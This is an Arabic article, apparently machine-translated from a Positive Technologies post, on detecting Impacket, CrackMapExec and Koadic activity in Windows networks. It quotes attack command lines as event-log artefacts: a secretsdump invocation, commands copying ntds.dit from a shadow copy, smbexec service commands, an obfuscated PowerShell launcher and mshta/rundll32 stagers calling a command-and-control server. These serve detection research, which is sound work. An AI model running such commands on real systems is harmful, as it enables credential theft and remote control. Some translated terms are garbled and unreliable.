كيفية اكتشاف الهجمات على البنية الأساسية لنظام Windows: استكشاف أدوات القرصنة



يتزايد عدد الهجمات في قطاع الشركات كل عام: على سبيل المثال ، في عام 2017 ، سجلت حوادث فريدة بنسبة 13٪ أكثر من عام 2016 ، وبنهاية عام 2018 ، سجلت حوادث بنسبة 27٪ أكثر مما كانت عليه في الفترة السابقة. بما في ذلك تلك التي تكون فيها أداة العمل الرئيسية هي نظام التشغيل ويندوز. في 2017-2018 ، هاجمت مجموعات APT Dragonfly و APT28 و APT MuddyWater المنظمات الحكومية والعسكرية في أوروبا وأمريكا الشمالية والمملكة العربية السعودية. واستخدموا ثلاث أدوات لهذا - Impacket ، CrackMapExec و Koadic . شفرة المصدر مفتوحة ومتاحة على جيثب.

تجدر الإشارة إلى أن هذه الأدوات لا تستخدم للاختراق الأولي ، ولكن لتطوير هجوم داخل البنية التحتية. يستخدمها المهاجمون في مراحل مختلفة من الهجوم ، يتبعون بعد التغلب على المحيط. بالمناسبة ، من الصعب اكتشاف ذلك وغالبًا بمساعدة التقنيات لاكتشاف آثار التسوية في حركة مرور الشبكة أو الأدوات التي يمكنها اكتشاف الإجراءات النشطة للمهاجمين بعد اختراقه للبنية التحتية . توفر الأدوات العديد من الوظائف - من نقل الملفات إلى التفاعل مع السجل وتنفيذ الأوامر على جهاز بعيد. لقد أجرينا دراسة لهذه الأدوات لتحديد نشاط شبكتها.

ما يتعين علينا القيام به:

  • فهم كيفية عمل أدوات القرصنة . تعرف على ما يحتاجه المهاجمون للتشغيل والتقنيات التي يمكنهم استخدامها.
  • ابحث عن ما لم يتم اكتشافه بواسطة أدوات أمان المعلومات في المراحل الأولى من الهجوم . يمكن تخطي مرحلة الاستخبارات ، إما لأن المهاجم مهاجم داخلي ، أو لأن المهاجم يستغل فجوة في البنية التحتية لم تكن معروفة من قبل. هناك فرصة لاستعادة سلسلة كاملة من أفعاله ، وبالتالي الرغبة في اكتشاف مزيد من الحركة.
  • القضاء على إنذارات كاذبة من أدوات كشف التسلل . يجب ألا ننسى أنه عند اكتشاف أعمال معينة على أساس الذكاء وحده ، فإن الأخطاء المتكررة ممكنة. عادةً ما يوجد في البنية التحتية عدد كافٍ من الطرق ، التي لا يمكن تمييزها عن النظرة الأولى ، للحصول على أي معلومات.

ماذا تعطي هذه الأدوات للمهاجمين؟ إذا كان هذا هو Impacket ، فسيحصل المهاجمون على مكتبة كبيرة من الوحدات التي يمكن استخدامها في مراحل مختلفة من الهجوم ، بعد اختراق المحيط. تستخدم العديد من الأدوات وحدات Impacket داخل نفسها - على سبيل المثال ، Metasploit. لديها dcomexec و wmiexec لتنفيذ الأوامر عن بعد ، secretsdump لاسترداد الحسابات من الذاكرة التي تمت إضافتها من Impacket. نتيجة لذلك ، سيتم أيضًا ضمان الكشف الصحيح عن نشاط هذه المكتبة من خلال الكشف عن المشتقات.

حول CrackMapExec (أو ببساطة CME) ، كتب المبدعون عن طريق الصدفة "مدعوم من Impacket". بالإضافة إلى ذلك ، لدى CME وظيفة جاهزة للسيناريوهات الشائعة: إنها Mimikatz للحصول على كلمات المرور أو التجزئة الخاصة بها ، وتنفيذ Meterpreter أو وكيل Empire للتنفيذ عن بعد ، و Bloodhound على متنها.

الأداة الثالثة التي اخترناها هي Koadic. إنه جديد تمامًا ، وقد تم تقديمه في مؤتمر DEFCON 25 الدولي للقراصنة في عام 2017 ، كما يتميز بنهج غير قياسي: العمل عبر HTTP و Java Script و Microsoft Visual Basic Script (VBS). يُطلق على هذا الأسلوب العيش خارج الأرض: تستخدم الأداة مجموعة من التبعيات والمكتبات المدمجة في Windows. يطلق عليه المبدعون عنصر تحكم أمر COM أو C3.

IMPACKET


وظيفة Impacket واسعة للغاية ، بدءاً من الاستطلاع داخل AD وجمع البيانات من خوادم MS SQL الداخلية ، والتي تنتهي بتقنيات الحصول على بيانات الاعتماد: هذا هجوم ترحيل SMB ويتلقى ملف ntds.dit يحتوي على تجزئة كلمة مرور المستخدم من وحدة تحكم مجال. ينفذ Impacket أيضًا الأوامر عن بُعد باستخدام أربع طرق مختلفة: من خلال WMI ، وهي خدمة لإدارة جدولة Windows و DCOM و SMB ، ولهذا فهي تحتاج إلى بيانات اعتماد.

Secretsdump


دعونا نلقي نظرة على أسرار تفريغ. هذه وحدة نمطية يمكن أن يكون غرضها أجهزة المستخدم ووحدات التحكم بالمجال. باستخدامه ، يمكنك الحصول على نسخ من مناطق الذاكرة LSA و SAM و SECURITY و NTDS.dit ، بحيث يمكن رؤيتها في مراحل مختلفة من الهجوم. الخطوة الأولى في تشغيل الوحدة النمطية هي المصادقة عبر SMB ، والتي تتطلب إما كلمة مرور مستخدم أو تجزئة لها لإجراء هجوم Pass the Hash تلقائيًا. التالي هو طلب لفتح الوصول إلى إدارة التحكم بالخدمة (SCM) والوصول إلى السجل باستخدام بروتوكول winreg ، باستخدام مهاجم يمكنه معرفة بيانات الفروع التي تهمه والحصول على النتائج من خلال SMB.

في التين. 1 نرى كيف بالضبط عند استخدام الوصول إلى بروتوكول winreg عن طريق مفتاح التسجيل مع LSA. للقيام بذلك ، استخدم الأمر DCERPC مع شفرة التشغيل 15 - OpenKey.


التين. 1. فتح مفتاح التسجيل باستخدام بروتوكول winreg

علاوة على ذلك ، عند الحصول على مفتاح الوصول ، يتم حفظ القيم باستخدام أمر SaveKey باستخدام شفرة التشغيل 20. يجعل Impacket هذا الأمر محددًا للغاية. يحفظ القيم إلى ملف اسمه سلسلة من 8 أحرف عشوائية مع إضافة .tmp. بالإضافة إلى ذلك ، يحدث تفريغ إضافي لهذا الملف عبر SMB من دليل System32 (الشكل 2).


التين. 2. مخطط للحصول على مفتاح التسجيل من جهاز بعيد

اتضح أنه يمكنك اكتشاف مثل هذا النشاط على الشبكة عن طريق الاستعلام عن فروع التسجيل معينة باستخدام بروتوكول winreg ، أسماء محددة ، الأوامر ، وترتيبها.

تترك هذه الوحدة أيضًا آثارًا في سجل أحداث Windows ، بسبب اكتشافها بسهولة. على سبيل المثال ، نتيجة للأمر

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC 

في سجل Windows Server 2016 ، سنرى تسلسل الأحداث التالي:

1. 4624 - تسجيل الدخول عن بعد.
2. 5145 - التحقق من حقوق الوصول إلى خدمة winreg عن بعد.
3. 5145 - التحقق من أذونات الملفات في الدليل System32. يحتوي الملف على الاسم العشوائي المذكور أعلاه.
4. 4688 - إنشاء عملية cmd.exe التي تطلق vssadmin:

 “C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

5. 4688 - إنشاء عملية باستخدام الأمر:

 "C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

6. 4688 - إنشاء عملية باستخدام الأمر:

 "C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\rmumAfcn.tmp ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

7. 4688 - إنشاء عملية باستخدام الأمر:

 "C:\windows\system32\cmd.exe" /Q /c echo c:\windows\system32\cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & c:\windows\system32\cmd.exe /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

Smbexec


مثل العديد من أدوات ما بعد الاستغلال ، لدى Impacket وحدات لتنفيذ الأوامر عن بُعد. سنركز على smbexec ، والذي يوفر غلاف تفاعلي على جهاز بعيد. تتطلب هذه الوحدة أيضًا مصادقة SMB إما باستخدام كلمة مرور أو تجزئة لها. في التين. 3 نرى مثالاً على كيفية عمل هذه الأداة ، وفي هذه الحالة هي وحدة تحكم المسؤول المحلي.


التين. 3. Smbexec وحدة التحكم التفاعلية

تكمن الخطوة الأولى في smbexec بعد المصادقة في فتح SCM باستخدام الأمر OpenSCManagerW (15). الطلب جدير بالملاحظة: فيه ، تم تعيين حقل MachineName إلى DUMMY.


التين. 4. طلب ​​لفتح مدير مراقبة الخدمة

بعد ذلك ، يتم إنشاء خدمة باستخدام الأمر CreateServiceW (12). في حالة smbexec ، يمكننا أن نرى نفس منطق بناء الفريق في كل مرة. في التين. 5 الأخضر يشير إلى المعلمات الثابتة للأمر ، الأصفر - ما يمكن للمهاجم تغييره. من السهل ملاحظة أنه يمكن تغيير اسم الملف القابل للتنفيذ ودليله وملف الإخراج ، ولكن يمكن تغيير الباقي أكثر صعوبة دون انتهاك منطق وحدة Impacket.


التين. 5. طلب ​​إنشاء خدمة باستخدام إدارة التحكم بالخدمة

Smbexec أيضاً يترك آثار واضحة في سجل أحداث Windows. في سجل Windows Server 2016 للقذيفة التفاعلية باستخدام أمر ipconfig ، سنرى تسلسل الأحداث التالي:

1. 4697 - تثبيت الخدمة على جهاز الضحية:

 %COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

2. 4688 - إنشاء عملية cmd.exe مع الوسائط من الفقرة 1.
3. 5145 - التحقق من الأذونات على ملف __output في دليل C $.
4. 4697 - تثبيت الخدمة على جهاز الضحية.

 %COMSPEC% /Q /c echo ipconfig ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 

5. 4688 - إنشاء عملية cmd.exe باستخدام الوسائط من الفقرة 4.
6. 5145 - التحقق من حقوق الوصول إلى ملف __output في دليل C $.

Impacket هو الأساس لتطوير أدوات الهجوم. وهو يدعم جميع البروتوكولات تقريبًا في البنية الأساسية لـ Windows وفي الوقت نفسه له خصائصه الخاصة. فيما يلي طلبات winreg محددة ، واستخدام واجهة برمجة تطبيقات SCM مع التكوين المميز للأوامر ، وتنسيق اسم الملف ، ومشاركة SMB SYSTEM32.

CRACKMAPEXEC


تم تصميم أداة CME بشكل أساسي لأتمتة تلك الإجراءات الروتينية التي يجب على المهاجم القيام بها للتقدم داخل الشبكة. انها تسمح لك للعمل جنبا إلى جنب مع وكيل الإمبراطورية سيئة السمعة و Meterpreter. لتنفيذ الأوامر سراً ، يمكن لـ CME تشويشها. باستخدام Bloodhound (أداة استخبارات منفصلة) ، يمكن للمهاجمين أتمتة البحث عن جلسة مسؤول مجال نشطة.

الكلب البوليسي


Bloodhound كأداة مستقلة تسمح للذكاء المتقدم داخل الشبكة. فهو يجمع بيانات حول المستخدمين ، والآلات ، والمجموعات ، والدورات ويأتي في شكل برنامج نصي على PowerShell أو ملف ثنائي. يتم استخدام البروتوكولات التي تستند إلى LDAP أو SMB لجمع المعلومات. تسمح لك وحدة التكامل CME بتنزيل Bloodhound على جهاز الضحية ، وتشغيل واستقبال البيانات التي تم جمعها بعد التنفيذ ، وبالتالي أتمتة الإجراءات في النظام وجعلها أقل وضوحًا. تقدم لعبة Bloodhound shell الرسومية البيانات التي تم جمعها في شكل رسوم بيانية ، والتي تتيح لك العثور على أقصر الطرق من الجهاز المهاجم إلى مسؤول المجال.


التين. 6. واجهة كلب الدم

لتشغيل الجهاز على الضحية ، تقوم الوحدة بإنشاء مهمة باستخدام ATSVC و SMB. ATSVC هي واجهة للعمل مع Windows Task Scheduler. يستخدم CME وظيفته NetrJobAdd (1) لإنشاء المهام عبر الشبكة. يظهر مثال على ما ترسله وحدة التعليم الطبي المستمر في الشكل. 7: هذه دعوة إلى cmd.exe والرمز المبهم كوسيطات بتنسيق XML.


الشكل 7. إنشاء مهمة من خلال CME

بعد اكتمال المهمة ، تطلق آلة الضحية Bloodhound نفسها ، ويمكن ملاحظة ذلك في حركة المرور. تتميز الوحدة النمطية باستعلامات LDAP لاستقبال المجموعات القياسية ، وقائمة بجميع الأجهزة والمستخدمين في المجال ، وتلقي المعلومات حول جلسات عمل المستخدمين النشطة من خلال طلب SRVSVC NetSessEnum.


التين. 8. الحصول على قائمة الجلسات النشطة عبر SMB

بالإضافة إلى ذلك ، يرافق إطلاق Bloodhound على جهاز الضحية مع تمكين التدقيق بحدث معرف 4688 (إنشاء عملية) واسم العملية «C:\Windows\System32\cmd.exe» . تجدر الإشارة إلى أنه في وسيطات سطر الأوامر:

 cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) " 

Enum_avproducts


من وجهة نظر الوظيفة والتنفيذ ، فإن وحدة enum_avproducts ممتعة للغاية. يسمح WMI باستخدام لغة استعلام WQL لتلقي البيانات من كائنات Windows المختلفة ، وهو ما تستخدمه وحدة CME هذه بشكل أساسي. يقوم بإنشاء طلبات إلى فئات AntiSpywareProduct و AntiMirusProduct حول الحماية المثبتة على جهاز الضحية. من أجل الحصول على البيانات اللازمة ، تتصل الوحدة النمطية بمساحة اسم الجذر \ SecurityCenter2 ، ثم تنشئ استعلام WQL وتتلقى استجابة. في التين. يوضح الشكل 9 محتويات هذه الطلبات والردود. في مثالنا ، تم العثور على Windows Defender.


التين. 9. نشاط الشبكة لوحدة enum_avproducts

في كثير من الأحيان ، قد يتم إيقاف تشغيل تدقيق WMI (تتبع نشاط WMI) ، في الأحداث التي يمكنك العثور على معلومات مفيدة حول استعلامات WQL الخاصة بها. ولكن إذا تم تشغيله ، وإذا تم تشغيل البرنامج النصي enum_avproducts ، فسيتم حفظ الحدث الذي يحمل المعرف 11. وسيحتوي على اسم المستخدم الذي أرسل الطلب والاسم في مساحة الاسم root \ SecurityCenter2.

كشفت كل وحدة من وحدات التعليم الطبي المستمر عن قطع أثرية خاصة بها ، سواء أكانت استعلامات WQL محددة أو إنشاء نوع معين من المهام في برنامج جدولة المهام مع التشويش والنشاط النموذجي لـ Bloodhound في LDAP و SMB.

KOADIC


ميزة مميزة من Koadic هو استخدام المدمج في ويندوز المترجمين جافا سكريبت و VBScript. وبهذا المعنى ، فإنه يتبع اتجاه العيش خارج الأرض - أي أنه لا يوجد لديه تبعيات خارجية ويستخدم أدوات Windows القياسية. هذه أداة للتحكم الكامل والتحكم (CnC) ، لأنه بعد الإصابة ، يتم تثبيت "غرس" على الجهاز ، مما يسمح بالتحكم فيه. مثل هذه الآلة ، في المصطلحات Koadic ، تسمى "غيبوبة". مع عدم وجود امتيازات للعمل الكامل من جانب الضحية ، فإن Koadic لديه القدرة على رفعها باستخدام تقنية الالتفاف UAC.


التين. 10. قيادة شل Koadic

يجب على الضحية بدء الاتصال مع خادم القيادة والتحكم نفسه. للقيام بذلك ، تحتاج إلى التقدم بطلب للحصول على URI مُعد مسبقًا والحصول على جسم Koadic الرئيسي باستخدام أحد stagers. في التين. 11 يوضح مثال على stsh mshta.


التين. 11. تهيئة جلسة مع خادم CnC

باستخدام متغير الاستجابة WS ، يصبح من الواضح أن التنفيذ يتم من خلال WScript.Shell ، وأن المتغيرات STAGER و SESSIONKEY و JOBKEY و JOBKEYPATH و EXPIRE تحتوي على معلومات أساسية حول معلمات الجلسة الحالية. هذا هو أول زوج طلب استجابة في اتصال HTTP بخادم CnC. ترتبط الطلبات اللاحقة مباشرة بوظيفة الوحدات المسماة (عمليات الزرع). تعمل جميع وحدات Koadic فقط مع جلسة نشطة مع CnC.

Mimikatz


مثلما تعمل CME مع Bloodhound ، يعمل Koadic مع Mimikatz كبرنامج مستقل ولديه عدة طرق لتشغيله. يوجد أدناه زوج استجابة-استجابة لتحميل زرع Mimikatz.


التين. 12. نقل Mimikatz إلى Koadic

قد تلاحظ كيف تغير تنسيق URI في الطلب. في ذلك ظهرت قيمة المتغير csrf ، وهو المسؤول عن الوحدة النمطية المحددة. لا تولي اهتماما لاسمها ؛ نعلم جميعًا أن CSRF عادة ما يتم فهمه بشكل مختلف. رداً على ذلك ، ظهرت نفس المجموعة الرئيسية من Koadic ، حيث تمت إضافة الكود المرتبط بـ Mimikatz. انها كبيرة بما فيه الكفاية ، لذلك النظر في النقاط الرئيسية. أمامنا مكتبة Mimikatz base64 المشفرة ، وفئة .NET المتسلسلة التي ستحقنها ، والحجج لتشغيل Mimikatz. تنتقل نتيجة التنفيذ عبر الشبكة بشكل واضح.


التين. 13. نتيجة تشغيل Mimikatz على جهاز بعيد

Exec_cmd


يحتوي Koadic أيضًا على وحدات يمكنها تنفيذ الأوامر عن بُعد. هنا سنرى نفس طريقة إنشاء URIs والمتغيرات المألوفة sid و csrf. في حالة الوحدة النمطية exec_cmd ، تتم إضافة التعليمات البرمجية إلى النص القادر على تنفيذ أوامر shell. يظهر الرمز التالي في استجابة HTTP لخادم CnC.


التين. 14. رمز الزرع exec_cmd

مطلوب متغير GAWTUUGCFI مع سمة WS مألوفة لتنفيذ التعليمات البرمجية. من خلال مساعدتها ، تقوم عملية الزرع باستدعاء shell ، وتجهيز فرعين من التعليمات البرمجية - shell.exec مع إرجاع دفق بيانات الإخراج و shell.run دون الرجوع.

Koadic ليست أداة نموذجية ، ولكن لديها تحف فنية خاصة بها يمكن العثور عليها في حركة المرور المشروعة:

  • تشكيل خاص لطلبات HTTP ،
  • باستخدام API winHttpRequests ،
  • إنشاء كائن WScript.Shell من خلال ActiveXObject ،
  • هيئة قابلة للتنفيذ كبيرة.

يبدأ الاتصال الأولي في stager ، بحيث يصبح من الممكن اكتشاف نشاطه من خلال أحداث Windows. بالنسبة إلى mshta ، هذا هو الحدث 4688 ، الذي يتحدث عن إنشاء عملية ذات سمة إطلاق:

 C:\Windows\system32\mshta.exe http://192.168.211.1:9999/dXpT6 

أثناء تنفيذ Koadic ، يمكنك رؤية 4688 أحداث أخرى ذات سمات تميزها تمامًا:

 rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;\..\..\..\mshtml,RunHTMLApplication rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;\..\..\..\mshtml,RunHTMLApplication "C:\Windows\system32\cmd.exe" /q /c chcp 437 & net session 1> C:\Users\user02\AppData\Local\Temp\6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1 "C:\Windows\system32\cmd.exe" /q /c chcp 437 & ipconfig 1> C:\Users\user02\AppData\Local\Temp\721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1 

النتائج


كسب العيش خارج اتجاه الأرض شعبية بين المتسللين. يستخدمون أدوات وآليات Windows المدمجة لاحتياجاتهم. نرى كيف أن أدوات Koadic و CrackMapExec و Impacket الشائعة التي تتبع هذا المبدأ موجودة بشكل متزايد في تقارير APT. كما يتزايد عدد الشوكات على GitHub لهذه الأدوات ، وتظهر أخرى جديدة (الآن يوجد بالفعل حوالي ألف منها). يكتسب هذا الاتجاه شعبية بسبب بساطته: لا يحتاج المهاجمون إلى أدوات تابعة لجهات خارجية ، فهم بالفعل على أجهزة الضحايا ويساعدون في تجاوز أدوات الحماية. نحن نركز على دراسة اتصال الشبكة: كل أداة المذكورة أعلاه تترك بصمتها على حركة مرور الشبكة ؛ سمحت لنا دراسة مفصلة لهم بتدريس منتجنا PT Network Attack Discovery لاكتشافهم ، مما يساعد في نهاية المطاف على استكشاف سلسلة الأحداث الإلكترونية التي تنطوي عليها.

المؤلفون :

  • أنطون تيورين ، رئيس خدمات الخبراء ، مركز أمان خبراء PT ، التقنيات الإيجابية
  • إيجور بودموكوف ، خبير في مركز أمن خبراء PT ، التقنيات الإيجابية

Source: https://habr.com/ru/post/ar460517/


All Articles